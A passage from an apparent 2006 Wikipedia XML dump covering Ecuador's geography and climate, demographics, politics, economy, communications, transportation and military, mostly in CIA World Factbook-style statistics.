Major rivers in the Oriente include the Pastaza, Napo, and Putumayo. The Pastaza is formed by the confluence of the Chambo and the Patate rivers, both of which rise in the Sierra. The Pastaza includes the Agoyan waterfall, which at sixty-one meters is the highest waterfall in Ecuador. The Napo rises near Mount Cotopaxi and is the major river used for transport in the Eastern lowlands. The Napo ranges in width from 500 to 1,800 meters. In its upper reaches, the Napo flows rapidly until the confluence with one of its major tributaries, the Coca River, where it slows and levels off. The Putumayo forms part of the border with Colombia. All of these rivers flow into the Amazon River. The Galápagos Islands have no significant rivers. Several of the larger islands, however, have freshwater springs. 

==Climate==

Each region has different factors that affect its climate. The Costa is influenced primarily by proximity to warm or cool ocean currents. By contrast, climate in the Sierra varies more as a function of altitude. The Oriente has a fairly uniform climate that varies only slightly between the two subregions. Climate in the Galápagos Islands is both moderated by the ocean currents and affected by altitude. Throughout Ecuador variation in rainfall primarily determines seasons. Temperature is determined by altitude. With each ascent of 200 meters in altitude, temperature drops 1° C. This phenomenon is particularly significant in the Sierra.

The Costa has a tropical climate. Temperatures for the region as a whole remain fairly constant, ranging from 23° C in the south to 26° C in the north. Although seasonal changes in temperature are not pronounced, the hottest period occurs during the rainy season, especially from February to April. Near Guayaquil, the coolest months are August and September. Rainfall in the Costa decreases from north to south, with vegetation changing from tropical rainforest in the north to tropical savannah to desert in the south.

Differences in temperature and rainfall in the Costa are caused by the Peruvian Current and periodic appearances of El Niño. The Peruvian Current, also formerly known as the Humboldt, is a cold ocean current that flows north along the coasts of Chile and Peru. At Cabo Blanco, where the Gulf of Guayaquil begins, the main current veers to the west; a branch continues northward to Cabo Pasado, in Manabí Province, where it also turns westward to merge with the main current near the Galápagos Islands. The cold water and air temperatures associated with the Peruvian Current inhibit rainfall along the coast, creating dry to arid conditions. This effect is greatest along the southern coast of Ecuador.

The El Niño occurs periodically every six or seven years. Starting in late December, a change in atmospheric pressure shifts ocean currents so that warm waters come closer to shore and displace the cold waters. During this time, air and water temperatures, tides, sea levels and wave heights, and relative humidity all are higher than usual. These conditions produce heavy rainfall that generally lasts until May in an area that normally experiences nothing more than a drizzle. The resulting flooding and landslides can be devastating.

When the Peruvian Current is dominant, the amount of precipitation along the coast varies from north to south, with levels ranging from 300 centimeters to 30 centimeters, respectively. Two rainy seasons in the northernmost part of the coast become a single season (December through June) not far south. Near Esmeraldas, average annual rainfall is 250 centimeters. The rainy season shortens farther south, lasting only from January to May at Guayaquil. Very little rainfall occurs on the end of the Santa Elena Peninsula west of Guayaquil. Arid conditions prevail on the border with Peru south of the Gulf of Guayaquil.

Separated from the effects of ocean currents by the Cordillera Costañera, the Costa Internal has a hot and humid climate. Temperatures can surpass 26° C, and the vegetation and cloud cover tend to retain and augment the heat. Rain is constant during the winter months of December through May, with the heaviest rainfall occurring in February and March.

Temperatures in the Sierra do not vary greatly on a seasonal basis; the hottest month averages 16° C and the coolest month, 13° C in the upper elevations. Diurnal temperatures, however, vary dramatically, from cold mornings to hot afternoons. The almost vertical sun and the rarified air in the higher Sierra region allow the land to warm quickly during the day and lose heat quickly at night. Mornings typically are bright and sunny, whereas afternoons often are cloudy and rainy. In general, rainfall amounts are highest on exposed locations at lower altitudes. Rain also can vary on a local basis. Sheltered valleys normally receive 50 centimeters per year, whereas annual rainfall is 150 centimeters in Quito and can reach 250 centimeters on exposed slopes that catch rain-bearing winds. On a seasonal basis, the driest months are June through September.

Climate in the Sierra is divided into levels based on altitude. The tropical level--400 to 1,800 meters--has temperatures ranging from 20° C to 25° C and heavy precipitation. The subtropical level-- 1,800 to 2,500 meters--has temperatures from 15° C to 20° C and moderate precipitation. The temperate level--2,500 to 3,200 meters- -has a year-round temperature in the range of 10° C to 15° C and an annual rainfall of 100 centimeters. The temperate level experiences rainstorms, hailstorms, and fog. Winter, or the rainy season, lasts from January through June, and the dry season or summer from July through December. Most rain falls in April. There also is a short rainy period in early October caused by moisture penetrating the Sierra from the Oriente. Quito and most other populated areas in the Sierra are located at this temperate level. The cold level extends from the temperate zone to 4,650 meters. Here, average temperatures are 3° C to 9° C, and the precipitation often appears in the form of rain, hail, and thick fog. Above 4,650 meters is the frozen level, where peaks are constantly capped with snow and ice, and temperatures range from below zero to 3° C. Precipitation frequently is in the form of snow, fog, and rain.

The Eastern lowlands in the Oriente experience an equatorial climate. Rainfall is abundant, especially in the Andean piedmont, sometimes exceeding 500 centimeters per year. Temperatures average 25° C in the western parts of this region. The jungle-covered plains of the Eastern lowlands register high levels of rainfall and temperatures surpassing 28° C.

Being located on the equator, the Galápagos Islands would have an equatorial climate were it not for the modifying effects of the Peruvian Current. Instead, climate on the islands follows a pattern more like that of the Sierra than the Costa. At sea level, the land is desertlike with temperatures of 21° C. The eight summer months experience no precipitation, whereas the winter months of January through April have some fog and drizzle. Above sea level to an altitude of 450 meters, the islands have a mixture of tropical, subtropical, and temperate climates. In general, temperatures are around 17° C. There is constant fog and drizzle in the summer and rain in the winter. The cold level above 450 meters has temperatures below 14° C. 

==Elevation extremes==
* lowest point: Pacific Ocean 0 m
* highest point: Chimborazo 6,300 m

==Natural resources==
[[petroleum]], [[fish]], [[timber]], [[hydropower]]

==Land use==
* arable land: 6%
* permanent crops: 5%
* permanent pastures: 18%
* forests and woodland: 56%
* other: 15% (1993 est.)

===Irrigated land===
5,560 km&amp;sup2; (1994 est.)

==Natural hazards==
frequent [[earthquake]]s, landslides, [[volcano|volcanic]] activity; periodic droughts

==Environment - current issues==
deforestation; soil erosion; desertification; water [[pollution]]; pollution from oil production wastes

==Environment - international agreements==
: '''party to:''' [[Antarctic Treaty]], [[Antarctic-Environmental Protocol]], [[Biodiversity]], [[United Nations Framework Convention on Climate Change|Climate Change]], [[Desertification]], [[Endangered Species]], [[Hazardous Wastes]], [[Nuclear Test Ban]], [[Ozone Layer Protection]], [[Ship Pollution]], [[Tropical Timber 83]], [[Tropical Timber 94]], [[Wetlands]], [[Whaling]]				
: '''signed, but not ratified:''' Climate Change-[[Kyoto Protocol]]

==Geography - note==
[[Cotopaxi]] in the [[Andes]] is the highest active volcano in the world

==Sources==
*[http://lcweb2.loc.gov/frd/cs/cshome.html Library of Congress, Country Studies]
*''CIA World Fact Book''

{{South America in topic|Geography of}}
[[Category:Geography of Ecuador| ]]

[[es:Geografía del Ecuador]]
[[fr:Géographie de l'Équateur]]
[[pt:Geografia do Equador]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Ecuador</title>
    <id>9337</id>
    <revision>
      <id>41286576</id>
      <timestamp>2006-02-26T07:55:12Z</timestamp>
      <contributor>
        <username>Jorge Stolfi</username>
        <id>48742</id>
      </contributor>
      <minor />
      <comment>dab [[Creole peoples]] --&gt; [[Spanish Criollo peoples]]</comment>
      <text xml:space="preserve">[[Ecuador|Ecuador's]] population is ethnically diverse. ''[[Mestizo|Mestizos]]'' (those of mixed Spanish and Amerindian ancestry) are by far the largest of all ethnic groups and constitute over 65 per cent of the current population. [[Amerindian|Amerindians]] are second in numbers and account for approximately a quarter of the people, around 25%. Whites are mainly ''[[Spanish Criollo peoples|criollos]]'', unmixed descendants of Spanish colonist, and account for 7% of the Ecuadorian population. A small minority of [[Afro-Ecuadorian people|Afro-Ecuadorians]], including [[Mulatto]]s and ''[[zambo]]s'', constitute the remainder.

Although Ecuadorians were most heavily concentrated in the mountainous Sierra (central highlands) region only a century ago, today's population is divided about equally between that area and the Costa (coastal lowlands) region.

Migration toward cities -- particularly larger cities -- in all regions has increased the urban population to about 55%.

The Oriente (amazonian jungle) region to the east of the mountains, and covering about half the country's land area, remains sparsely populated.  It includes the headwaters of the Amazon River.  It contains only about 3% of the population, many of whom are uninfluenced and unassimilated amazonian Native Americans who maintain their distance and caution from the recent mestizos and White settlers.  There are nine indigenous peoples present: [[Quichua]], [[Shuar]], [[Achuar]], [[Huaorani]], [[Siona people|Siona]], [[Secoya people|Siona]], [[Shiwiar]], [[Záparo]], and [[Cofan]], all represented politically by the [[CONFENIAE|Confederation of Indigenous Nationalities of the Ecuadorian Amazon, CONFENIAE]].   The recent settlers are a result of the small immigration experienced here (mainly mestizo migrants from the Sierra) which occurred during and after the 1970s when government sponsored multinationals began to exploit petroleum reserves in the region.   The industrial expansion, and subsequent settlement resulted in the boom of the town of Lago Agrio as well as substantial deforestation, indigenous population loss and the final disappearance of the [[Tetete]] people.

The public education system is tuition-free, and attendance is mandatory from ages 6 to 14. In practice, however, many children drop out before age 15, and, in rural areas only about one-third complete sixth grade. The government is striving to create better programs for the rural and urban poor, especially in technical and occupational training. In recent years, it also has been successful in reducing illiteracy. Enrollment in primary schools has been increasing at an annual rate of 4.4%--faster than the population growth rate. According to the 1979 constitution, the central government must allocate at least 30% of its revenue to education; in practice, however, it allots a much smaller percentage. Public universities have an open admissions policy. In recent years, however, large increases in the student population, budget difficulties, and extreme politicization of the university system have led to a decline in academic standards.

'''Population:'''
13,710,234 (July 2003 est.)

'''Age structure:'''
&lt;br&gt;''0-14 years:''
34.9% (male 2,430,303; female 2,351,166) 
&lt;br&gt;''15-64 years:''
60.6% (male 4,116,289; female 4,198,667)
&lt;br&gt;''65 years and over:''
4.5% (male 284,082; female 329,727) (2003 est.) 

'''Median Age:'''
&lt;br&gt;''Total:''
22.5 years 
&lt;br&gt;''Male:''
22 years 
&lt;br&gt;''Female:''
23 years (2002) 

'''Population growth rate:'''
1.91% (2003 est.) 

'''Birth rate:'''
24.94 births/1,000 population (2003 est.) 

'''Death rate:'''
5.29 deaths/1,000 population (2003 est.) 

'''Net migration rate:'''
-0.52 migrant(s)/1,000 population (2003 est.) 

'''Sex ratio:'''
&lt;br&gt;''at birth:''
1.05 male(s)/female 
&lt;br&gt;''under 15 years:''
1.03 male(s)/female 
&lt;br&gt;''15-64 years:''
0.98 male(s)/female
&lt;br&gt;''65 years and over:''
0.86 male(s)/female
&lt;br&gt;''total population:''
0.99 male(s)/female (2000 est.)

'''Infant mortality rate:'''
&lt;br&gt;''Total:''
31.97 deaths/1,000 live births 
&lt;br&gt;''Female:''
26.39 deaths/1,000 live births (2003 est.) 
&lt;br&gt;''Male:''
37.28 deaths/1,000 live births 

'''Life expectancy at birth:'''
&lt;br&gt;''total population:''
71.89 years 
&lt;br&gt;''male:''
69.06 years
&lt;br&gt;''female:''
74.86 years (2003 est.) 

'''Total fertility rate:'''
2.99 children born/woman (2003 est.) 

'''HIV/AIDS - adult prevalence rate:'''
0.3% (2001 est.) 

'''HIV/AIDS - people living with HIV/AIDS:'''
20,000 (2001 est.)

'''HIV/AIDS - deaths:'''
232 (2001)

'''Nationality:'''
&lt;br&gt;''noun:''
Ecuadorian(s)
&lt;br&gt;''adjective:''
Ecuadorian

'''Ethnic groups:'''
mestizo (mixed Amerindian and Spanish) 65%, Amerindian 25%, Spanish and others 7%, black 3%

'''Religions:'''
Roman Catholic 95%

'''Languages:'''
Spanish (official), Amerindian languages (especially Quichua)

'''Literacy:'''
&lt;br&gt;''definition:''
age 15 and over can read and write
&lt;br&gt;''total population:''
92.5% 
&lt;br&gt;''male:''
94% 
&lt;br&gt;''female:''
91% (2003 est.) 

:''See also :'' [[Ecuador]]

{{South_America_in_topic|Demographics of}}

[[Category:Ecuadorian society]]
[[Category:Demographics by country|Ecuador]]

[[es:Demografía del Ecuador]]
[[fr:Démographie de l'Équateur]]
[[pt:Demografia do Equador]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Ecuador</title>
    <id>9338</id>
    <revision>
      <id>35602859</id>
      <timestamp>2006-01-17T23:08:21Z</timestamp>
      <contributor>
        <username>John wesley</username>
        <id>689662</id>
      </contributor>
      <comment>/* Political parties and leaders */</comment>
      <text xml:space="preserve">{{CIA}}

{{Politics of Ecuador}}
The [[constitution]] of [[Ecuador]] provides for concurrent four-year terms of office for the president, vice president, and members of [[National Congress of Ecuador|Congress]]. Presidents may be re-elected after an intervening term, while legislators may be re-elected immediately. Citizens must be at least 18 years of age to vote.  Suffrage is universal and compulsory for literate persons ages 18-65 and optional for other eligible voters.

The executive branch includes 15 ministries. Provincial governors and councilors, like mayors and aldermen and parish boards, are directly elected. Congress meets throughout the year except for recess in July and December. There are 20 seven-member congressional committees. 

Former Vice President [[Alfredo Palacio]] assumed the presidency on [[April 20]] [[2005]] after Congress removed [[Lucio Gutiérrez]] amid escalating street protests precipitated by growing criticism of Gutiérrez Supreme Court appointments.  

New justices of the Supreme Court are elected by the sitting members of the court.  A bare majority of Congress, acting in a special session called by former President [[Lucio Gutiérrez]] in December, 2004, ousted 27 of the 31 justices and replaced them with new members chosen by Congress, notwithstanding the lack of any provisions permitting impeachment of Supreme Court justices by Congress and the specific provisions giving the Court the power to select new members. Earlier, in [[November]] [[2004]], Congress replaced the majority of judges on the country’s Electoral Court and Constitutional Court by a similar process.

'''Political conditions'''&lt;br&gt;
Ecuador's [[political party|political parties]] have historically been small, loose organizations that depended more on populist, often charismatic, leaders to retain support than on programs or ideology. Frequent internal splits have produced extreme factionalism. However, a pattern has emerged in which administrations from the center-left alternate with those from the center-right. Although Ecuador's political [[elite]] is highly factionalized along regional, ideological, and personal lines, a strong desire for consensus on major issues often leads to compromise. Opposition forces in Congress are loosely organized, but historically they often unite to block the administration's initiatives and to remove cabinet ministers.

Constitutional changes enacted by a specially elected National Constitutional Assembly in 1998 took effect on [[August 10]], [[1998]]. The new constitution strengthens the executive branch by eliminating mid-term congressional elections and by circumscribing Congress' power to challenge cabinet ministers. Party discipline is traditionally weak, and routinely many deputies switch allegiance during each Congress. However, after the new Constitution took effect, the Congress passed a code of ethics which imposes penalties on members who defy their party leadership on key votes.

Beginning with the [[1996]] election, the indigenous population abandoned its traditional policy of shunning the official political system and participated actively. The indigenous population has established itself as a significant force in Ecuadorian politics, as shown by the selection of indigenous representative Nina Pacari, who led the indigenous political party, Pachakutik, as second vice president of the 1998 Congress. The next presidential and congressional [[election]]s are currently scheduled for 2006.

===Executive branch===
&lt;br&gt;''chief of state:''
President [[Alfredo Palacio]] (since [[April 20]] [[2005]]); Vice President [[Alejandro Serrano]]; note - the president is both the chief of state and head of government
&lt;br&gt;''head of government:''
President [[Alfredo Palacio]] (since [[April 20]] [[2005]]); Vice President [[Alejandro Serrano]]; note - the president is both the chief of state and head of government
&lt;br&gt;''cabinet:''
Cabinet appointed by the president
&lt;br&gt;''elections:''
The president and vice president are elected on the same ticket by popular vote for four-year term (no reelection); [[Lucio Gutierrez|Lucio Gutiérrez]] was dramatically removed by an act of Congress on [[20 April]] [[2005]]; election last held [[20 October]] [[2002]]; runoff election held [[24 November]] [[2002]] (next to be held 2006)
&lt;br&gt;''election results:''
Results of the last election were: Lucio Gutiérrez elected president; percent of vote - 54%

===Legislative branch===
Ecuador has a [[unicameralism|unicameral]] [[National Congress of Ecuador|National Congress]] or ''Congreso Nacional''.  There are 100 members, who are elected by popular vote by province to serve four-year terms. Ecuador is divided into 22 provinces: [[Azuay Province|Azuay]], [[Bolivar Province|Bolívar]], [[Cañar Province|Cañar]], [[Carchi Province|Carchi]], [[Chimborazo Province|Chimborazo]], [[Cotopaxi Province|Cotopaxi]], [[El Oro Province|El Oro]], [[Esmeraldas Province|Esmeraldas]], [[Galápagos Islands]], [[Guayas Province|Guayas]], [[Imbabura Province|Imbabura]], [[Loja (province)|Loja]], [[Los Rios|Los Ríos]], [[Manabí Province|Manabí]], [[Morona-Santiago]], [[Napo Province|Napo]], [[Orellana Province|Orellana]], [[Pastaza]], [[Pichincha]], [[Sucumbios|Sucumbíos]], [[Tungurahua Province|Tungurahua]], [[Zamora-Chinchipe]]
&lt;br&gt;''elections:''
last held [[20 October]] [[2002]] (next to be held 2006)
&lt;br&gt;''election results:''
Seats by party - 
DP 32, PSC 27, PRE 24, ID 18, P-NP 9, FRA 5, PCE 3, MPD 2, CFP 1; note - defections by members of National Congress are commonplace, resulting in frequent changes in the numbers of seats held by the various parties

===Political parties and leaders===
&lt;br&gt;(Main article: [[List of political parties in Ecuador]])&lt;br&gt;
The primary political parties are: Concentration of Popular Forces or CFP [[Averroes Bucaram]] named after [[Abdala Bucaram Ortiz]] or simply [[Bucaram]] the colourful ex-president; Democratic Left or ID [Rodrigo Borja Cevallos]; National Action Institutional Renewal Party or PRIAN [Álvaro Noboa]; Pachakutik Movement [[Gilberto Talahua]]; Patriotic Society Party or PSP [[Lucio Gutiérrez Borbúa]]; Popular Democracy or DP [Dr. Juan Manuel Fuertes]; Popular Democratic Movement or MPD [Gustavo Teran Acosta]; Radical Alfarista Front or FRA [Fabian Alarcon, director]; Roldosist Party or PRE [Abdala Bucaram Ortiz, director]; Social Christian Party or PSC [Pascual Del Cioppo]; Socialist Party - Broad Front or PS-FA [Victor Granda] 
&lt;br&gt;''note:''
political blocs include: far left - MPD; populist - CFP and P-NP; populist left - PRE; center left - ID, DP, and FRA; center right - PSC and PCE

===Political pressure groups and leaders===
[[CONAIE | Confederation of Indigenous Nationalities of Ecuador]] or CONAIE [Leonidas Iza, president]; Coordinator of Social Movements or CMS [F. Napoleon Santos]; Federation of Indigenous Evangelists of Ecuador or FEINE [Marco Murillo, president]; National Federation of Indigenous Afro-Ecuatorianos and Peasants or FENOCIN [Pedro De La Cruz, president]; Popular Front or FP [Luis Villacis]

===Legal system===
Ecuador's legal system is based on the civil law system. Ecuador has not accepted compulsory ICJ jurisdiction.

===International organization participation:===
Ecuador or Ecuadorian organizations participate in the following international organizations:  the [[Andean Community of Nations]] (CAN), [[Economic Commission for Latin America and the Caribbean]] (ECLAC), [[Food and Agriculture Organization]] (FAO), Group of Eleven (G-11), Group of 77 (G-77), [[Inter-American Development Bank]] (IADB), [[International Atomic Energy Agency]] (IAEA), International Bank for Reconstruction and Development ([[World Bank]]), [[International Civil Aviation Organization]] (ICAO), [[International Criminal Court|ICC]], [[International Chamber of Commerce|ICC]], [[International Confederation of Free Trade Unions]] (ICFTU), [[International Red Cross and Red Crescent Movement|International Red Cross]], [[International Development Association]] (IDA), [[International Fund for Agricultural Development]] (IFAD), [[International Finance Corporation]] (IFC), [[International Hydrographic Organization]] (IHO), [[International Labour Organization]] (ILO), [[International Monetary Fund|IMF]], [[International Maritime Organization]] (IMO), [[International Telecommunications Satellite Organization]] (Intelsat), [[Interpol]], [[International Olympic Committee|IOC]], [[International Organization for Migration]] (IOM), [[International Organization for Standardization]] (ISO), [[International Telecommunication Union]] (ITU), [[Latin American Economic System]] (LAES), [[Latin American Integration Association]] (LAIA), [[Nonaligned Movement]] (NAM), [[Organization of American States|OAS]], [[Agency for the Prohibition of Nuclear Weapons in Latin America and the Caribbean]] (OPANAL), [[Organization for the Prohibition of Chemical Weapons]] (OPCW), [[Permanent Court of Arbitration]] (PCA), [[Rio Group|RG]], [[United Nations]], [[United Nations Conference on Trade and Development]] (UNCTAD), [[United Nations Educational, Scientific, and Cultural Organization]] (UNESCO), [[United Nations Industrial Development Organization]] (UNIDO), [[Universal Postal Union]] (UPU), [[World Confederation of Labor]] (WCL), [[World Federation of Trade Unions]] (WFTU), [[World Health Organization]] (WHO), [[World Intellectual Property Organization]] (WIPO), [[World Meteorological Organization]] (WMO), [[World Tourism Organization]] (WToO), [[World Trade Organization]] (WTO)

==External links==
*[http://www.presidencia.gov.ec/ Presidencia de Ecuador]
*[http://www.hinduonnet.com/thehindu/thscrip/print.pl?file=20050520000305700.htm&amp;date=fl2210/&amp;prd=fline&amp; The people prevail] 

{{South America in topic|Politics of}}

[[Category:Politics of Ecuador| ]]

[[fr:Politique de l'Équateur]]
[[gl:Política do Ecuador]]
[[pt:Política do Equador]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Ecuador</title>
    <id>9339</id>
    <revision>
      <id>40447066</id>
      <timestamp>2006-02-20T16:48:48Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{South America in topic|Economy of}}</comment>
      <text xml:space="preserve">{{CIA}}

The '''economy of [[Ecuador]]''' is based on petroleum production, money transfers from nearly a million ecuadorian emigrants employed abroad, and exports of bananas, shrimp, and other primary agricultural products. In 2002, oil accounted for about one-third of public sector revenue and 40% of export earnings. Ecuador is the world's largest exporter of bananas ($936.5 million in 2002) and a major exporter of shrimp ($251 million in 2002). Exports of nontraditional products such as flowers ($291 million in 2002) and canned fish ($333 million in 2002) have grown in recent years. Industry is largely oriented to servicing the domestic market.

Deteriorating economic performance in 1997-98 culminated in a severe economic and financial crisis in 1999. The crisis was precipitated by a number of external shocks, including the El Nino weather phenomenon in 1997, a sharp drop in global oil prices in 1997-98, and international emerging market instability in 1997-98. These factors highlighted the Government of Ecuador's unsustainable economic policy mix of large fiscal deficits and expansionary money policy and resulted in an 7.3% contraction of GDP, annual year-on-year inflation of 52.2%, and a 65% devaluation of the national currency in 1999.

On January 9, 2000, the administration of President Jamil Mahuad announced its intention to adopt the U.S. dollar as the official currency of Ecuador to address the ongoing economic crisis. Subsequent protest led to the removal of Mahuad from office and the elevation of Vice President Gustavo Noboa to the presidency.

The Noboa government confirmed its commitment to dollarize as the centerpiece of its economic recovery strategy, successfully completing the transition from sucres to dollars in 2001. Following the completion of a one-year stand-by program with the International Monetary Fund (IMF) in December 2001, Ecuador successfully negotiated a new $205 million stand-by agreement with the IMF in March 2003.

Buoyed by higher oil prices, the Ecuadorian economy experienced a modest recovery in 2000-01, with GDP rising 2.3% in 2000 and 5.4% in 2001. GDP growth leveled off to 3.3% in 2002. Although final figures are not yet available, it is expected to fall further, to about 1.7%, for 2003. But GDP growth is estimated to recover to over 4% in 2004, due largely to expanded oil exports. Inflation fell from an annual rate of 96.1% in 2000 to an annual rate of 22.4% in 2001; although final figures are not yet available, it is expected to drop below 7% for 2003. Despite recent gains, 70% of the population lives below the poverty line, more than double the rate of 5 years ago.

The completion of the second Transandean Oil Pipeline (OCP in Spanish) in 2003 will enable Ecuador to expand oil exports. The OCP will double Ecuador’s oil transport capacity, but Ecuador will need to attract additional foreign investment to realize the full economic potential of the added capacity.

==Ecuador and the IMF==
[[Journalism|Journalist]] [[Greg Palast]], of the [[United Kingdom|British]] ''[[Observer]]'', alleges that the [[International Monetary Fund]] is attempting an [[economics|economic]] [[coup]] against the Ecuadoran [[government]]. He cites documents which he claims show the IMF is working to force the nation to grant [[BP]] rights to build and own an [[oil pipeline]] over the [[Andes]]. 

See also [[Unidad de Valor Constante]]

'''GDP:'''
purchasing power parity - $54.5 billion (1999 est.)

'''GDP - real growth rate:'''
-8% (1999 est.)

'''GDP - per capita:'''
purchasing power parity - $4,300 (1999 est.)

'''GDP - composition by sector:'''
&lt;br&gt;''agriculture:''
14%
&lt;br&gt;''industry:''
36%
&lt;br&gt;''services:''
50% (1999 est.)

'''Population below poverty line:'''
50% (1999 est.)

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
2.3%

&lt;br&gt;''highest 10%:''
37.6% (1994)

'''Inflation rate (consumer prices):'''
59.9% (1999 est.)

'''Labor force:'''
4.2 million

'''Labor force - by occupation:'''
agriculture 30%, industry 25%, services 45% (1999 est.)

'''Unemployment rate:'''
12% with widespread underemployment (November 1998 est.)

'''Budget:'''
&lt;br&gt;''revenues:''
planned $5.1 billion (not including revenue from potential privatizations)
&lt;br&gt;''expenditures:''
$5.1 billion including capital expenditures of $NA (1999)

'''Industries:'''
[[petroleum]], food processing, textiles, metal work, paper products, wood products, chemicals, plastics, fishing, lumber

'''Industrial production growth rate:'''
2.4% (1997 est.)

'''Electricity - production:'''
9,657 GWh (1998)

'''Electricity - production by source:'''
&lt;br&gt;''fossil fuel:''
27.96%
&lt;br&gt;''hydro:''
72.04%

&lt;br&gt;''nuclear:''
0%
&lt;br&gt;''other:''
0% (1998)

'''Electricity - consumption:'''
8,981 GWh (1998)

'''Electricity - exports:'''
0 kWh (1998)

'''Electricity - imports:'''
0 kWh (1998)

'''Agriculture - products:'''
[[banana]]s, [[coffee]], [[cocoa]], [[rice]], [[potato]]es, [[manioc]] ([[tapioca]]), [[plantain]]s, [[sugarcane]]; [[cattle]], [[domestic sheep|sheep]], [[pig]]s, [[beef]], [[pork]], [[dairy]] products; balsa wood; fish, [[shrimp]]

'''Exports:'''
$4.1 billion (f.o.b., 1999)

'''Exports - commodities:'''
[[petroleum]], [[banana]]s, [[shrimp]], [[coffee]], [[cocoa]], cut flowers, fish

'''Exports - partners:'''
[[United States]] 39%, [[Colombia]] 7%, [[Italy]] 6%, [[Peru]] 5%, [[Chile]] 3% (1998)

'''Imports:'''
$2.8 billion (c.i.f., 1999)

'''Imports - commodities:'''
machinery and equipment, raw materials, fuels; consumer goods

'''Imports - partners:'''
[[United States]] 39%, [[Colombia]] 11%, [[Japan]] 9%, [[Venezuela]] 5%, [[Mexico]] 3% (1998)

'''Debt - external:'''
$15.3 billion (1999)

'''Economic aid - recipient:'''
$695.7 million (1995)

'''Currency:'''
US Dollar ($) 
(previous currency: 1 [[sucre (currency)|sucre]] (S/) = 100 centavos)

'''Exchange rates:'''
No longer applicable.
(Previously: sucres (S/) per US$1 - 24,860.7 (January 2000), 11,786.8 (1999), 5,446.6 (1998), 3,988.3 (1997), 3,189.5 (1996), 2,564.5 (1995))

'''Fiscal year:'''
calendar year

==See also==
*[[Ecuador]]
* [[Economy of South America]]

{{SACN}}
{{WTO}}

{{South America in topic|Economy of}}

[[Category:WTO members|Ecuador]]
[[Category:Economy of Ecuador| ]]
 

[[fr:économie de l'Équateur]]
[[pt:Economia do Equador]]
[[ru:Category:&amp;#1069;&amp;#1082;&amp;#1074;&amp;#1072;&amp;#1076;&amp;#1086;&amp;#1088;]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Ecuador</title>
    <id>9340</id>
    <revision>
      <id>40447904</id>
      <timestamp>2006-02-20T16:55:48Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{CIA}}, {{South America in topic|Communications in}}</comment>
      <text xml:space="preserve">{{CIA}}

'''Telephones - main lines in use:'''
1,677,900 (Sep 2005)

'''Telephones - mobile cellular:'''
5,221,600 (Aug 2005)

'''Telephone system:'''
&lt;br&gt;''general assessment:''
generally elementary but being expanded
&lt;br&gt;''domestic:''
facilities generally inadequate and unreliable
&lt;br&gt;''international:''
satellite earth station - 1 Intelsat (Atlantic Ocean)

'''Radio broadcast stations:'''
AM 277, FM 526 (plus 348 repeaters), shortwave 25 (Sept. 2005)

'''Radios:'''
5 million (2001)

'''Television broadcast stations:'''
323 (including repeaters) (2005)

'''Televisions:'''
2.5 million (2001)

'''Internet Service Providers (ISPs):'''
61 (Sep 2005)

'''Internet users:'''
548,000 (Sep 2005)

'''[[Country codes|Internet country code]]:''' .ec
*Source: [http://www.supertel.gov.ec Superintendence of Telecommunications], Control telecommunications services 

:''See also :'' [[Ecuador]]

{{South America in topic|Communications in}}

[[Category:Communications in Ecuador| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in Ecuador</title>
    <id>9341</id>
    <revision>
      <id>40449392</id>
      <timestamp>2006-02-20T17:09:36Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{South America in topic|Transportation in}}</comment>
      <text xml:space="preserve">== [[Railway]]s ==
&lt;br&gt;''total:''
812 km (single track)
&lt;br&gt;''narrow gauge:''
812 km 1.067-m gauge


=== Railway links in adjacent countries ===

* [[Transportation in Colombia|Colombia]] &amp;ndash; no
* [[Transportation in Peru|Peru]] &amp;ndash; no 

== [[Highway]]s ==
&lt;br&gt;''total:''
43,197 km
&lt;br&gt;''paved:''
8,165 km
&lt;br&gt;''unpaved:''
35,032 km (1999 est.)

== [[Waterway]]s ==
1,500 km

== [[Pipeline]]s ==
[[crude oil]] 800 km; [[petroleum]] products 1,358 km

== Ports and harbors ==
=== Pacific Ocean ===
[[Esmeraldas]], [[Guayaquil]], [[La Libertad, Guayas|La Libertad]], [[Manta]], [[Puerto Bolívar]], [[San Lorenzo]]

== [[Merchant marine]] ==
&lt;br&gt;''total:''
29 ships (1,000 GRT or over) totaling 233,151 GRT/388,750 DWT
&lt;br&gt;''ships by type:''
chemical tanker 2, liquified gas 1, passenger 4, petroleum tanker 22 (1999 est.)

== [[Airport]]s ==
182 (1999 est.)

=== Airports - with paved runways ===
&lt;br&gt;''total:''
57
&lt;br&gt;''over 3,047 m:''
2
&lt;br&gt;''2,438 to 3,047 m:''
5
&lt;br&gt;''1,524 to 2,437 m:''
17
&lt;br&gt;''914 to 1,523 m:''
13
&lt;br&gt;''under 914 m:''
20 (1999 est.)

=== Airports &amp;ndash; with unpaved runways ===
&lt;br&gt;''total:''
125
&lt;br&gt;''914 to 1,523 m:''
36
&lt;br&gt;''under 914 m:''
89 (1999 est.)

=== [[Heliport]]s ===
1 (1999 est.)

== See also ==

* [[Ecuador]]

{{CIAfb}}

{{South America in topic|Transportation in}}

[[Category:Transportation in Ecuador| ]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Ecuador</title>
    <id>9342</id>
    <revision>
      <id>41765493</id>
      <timestamp>2006-03-01T16:13:10Z</timestamp>
      <contributor>
        <username>Gurch</username>
        <id>241822</id>
      </contributor>
      <minor />
      <comment>Antartic -&gt; Antarctic</comment>
      <text xml:space="preserve">'''Military branches:'''
Army (Ejercito Ecuatoriano), Navy (Armada Ecuatoriana, includes Marines), Air Force (Fuerza Aerea Ecuatoriana), National Police (Policia Nacional)

'''Military manpower - military age:'''
20 years of age

'''Military manpower - availability:'''
&lt;br&gt;''males age 15-49:''
3,468,678 (2002 est.)

'''Military manpower - fit for military service:'''
&lt;br&gt;''males age 15-49:''
2,337,944 (2002 est.)

'''Military manpower - reaching military age annually:'''
&lt;br&gt;''males:''
132,978 (2002 est.)

'''Military expenditures - dollar figure:'''
$720 million (FY98)

'''Military expenditures - percent of GDP:'''
3.4% (FY98)

==References and Links==
*[[Ecuador]]
